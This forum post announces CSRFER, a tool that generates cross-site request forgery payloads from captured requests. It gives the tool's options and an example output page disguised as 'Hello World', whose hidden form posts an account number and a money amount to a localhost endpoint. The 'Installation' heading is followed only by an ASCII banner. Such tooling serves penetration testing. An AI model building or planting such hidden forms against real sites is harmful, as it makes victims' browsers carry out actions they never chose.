# CSRFER | Tool To Generate CSRF Payloads Based On Vulnerable Requests

**URL:** <https://onehack.st/t/csrfer-tool-to-generate-csrf-payloads-based-on-vulnerable-requests/180185>\
**Category:** Tools & Scripts\
**Tags:** tools, programming\
**Created:** [April 24, 2021, 10:26pm UTC](https://onehack.st/t/csrfer-tool-to-generate-csrf-payloads-based-on-vulnerable-requests/180185 "2021-04-24T22:26:56Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![PlayBoy83](https://onehack.st/user_avatar/onehack.st/playboy83/32/164314_2.png) [@PlayBoy83](https://onehack.st/u/PlayBoy83)\
**Post date:** [April 24, 2021, 10:26pm UTC](https://onehack.st/t/csrfer-tool-to-generate-csrf-payloads-based-on-vulnerable-requests/180185/1 "2021-04-24T22:26:56Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/a/e/aeee9d73761b660b3ad44066a66b28d424f46270.png)

CSRFER is a tool to generate csrf payloads, based on vulnerable requests.

It parses supplied requests to generate either a form or a fetch request. The payload can then be embedded in an html template.

**Installation**

```auto

 ______________________  ___________ 
/ __/___ | ______ | ___|___ 
| / / `--.| |_/ / |_ | |__ | |_/ /
| | `--. /| _| | __|| / 
| __//__ / / | | | | |___| |  
 ____/____ /_| __|____ /_| _|
                                      
          -.--.
          ) " '-,
          ',' 2 _
           q .  
        _.--' '----.__
       / ._ _. ____
    _.'_.' _ .-.__'-, }
   (,/ _.---;-( . ~
 ____( .____ /_/
( '-._ |
 '._ ),> _) >
    '-._ c=' Cooo -._
        '-._ '.
            '-._ `
       snd '-._ '.
                    '-._     
                        `~---'

```

**Usage:**

```auto
Usage: csrfer [options]

Options:
  --version Show version number
  -r, --request Path to the request file to be used
  -m, --mode Mode to generate the code. Available options: form, fetch. (Default is form)
  -a, --autosubmit Auto submit the request on page load
  -s, --show Show the form inputs (only for form mode)
  -o, --output Output the payload to the specified file instead of STDOUT
  -t, --template Path to an html template page. Use the placeholder {{CONTENT}} to specify where to
                         inject the code (in html, not JS)
  -T, --defaulttemplate Use this option if you want the code to be injected into a default html page.
  -h, --help Show help

Examples:
  csrfer -r req.txt -m form -a Automatically submit a form request
  csrfer -r req.txt -m form -s Generate and shows a form to be submitted manually
  csrfer -r req.txt -m fetch -t my_template.html Generates a fetch request and uses the supplied template
                                                  page

```

**Example output**

```auto
<!DOCTYPE html>
<html>

<head>
  <title>This is Hello World page</title>
</head>

<body>
  <h1>Hello World</h1>

  <form id="csrf" name="csrf" action="http://localhost:8000/1.php" method="POST"
    enctype="application/x-www-form-urlencoded"><input id='destination' name='destination' type='hidden'
      value='123-123123-123' /><br><input id='amount' name='amount' type='hidden' value='50€' /><br><input
      type='submit' value='submit'></form>
</body>

</html>

```

## GitHub:

> **[GitHub - luisfontes19/CSRFER: Tool to generate csrf payloads based on vulnerable...](https://github.com/luisfontes19/CSRFER)**
>
> Tool to generate csrf payloads based on vulnerable requests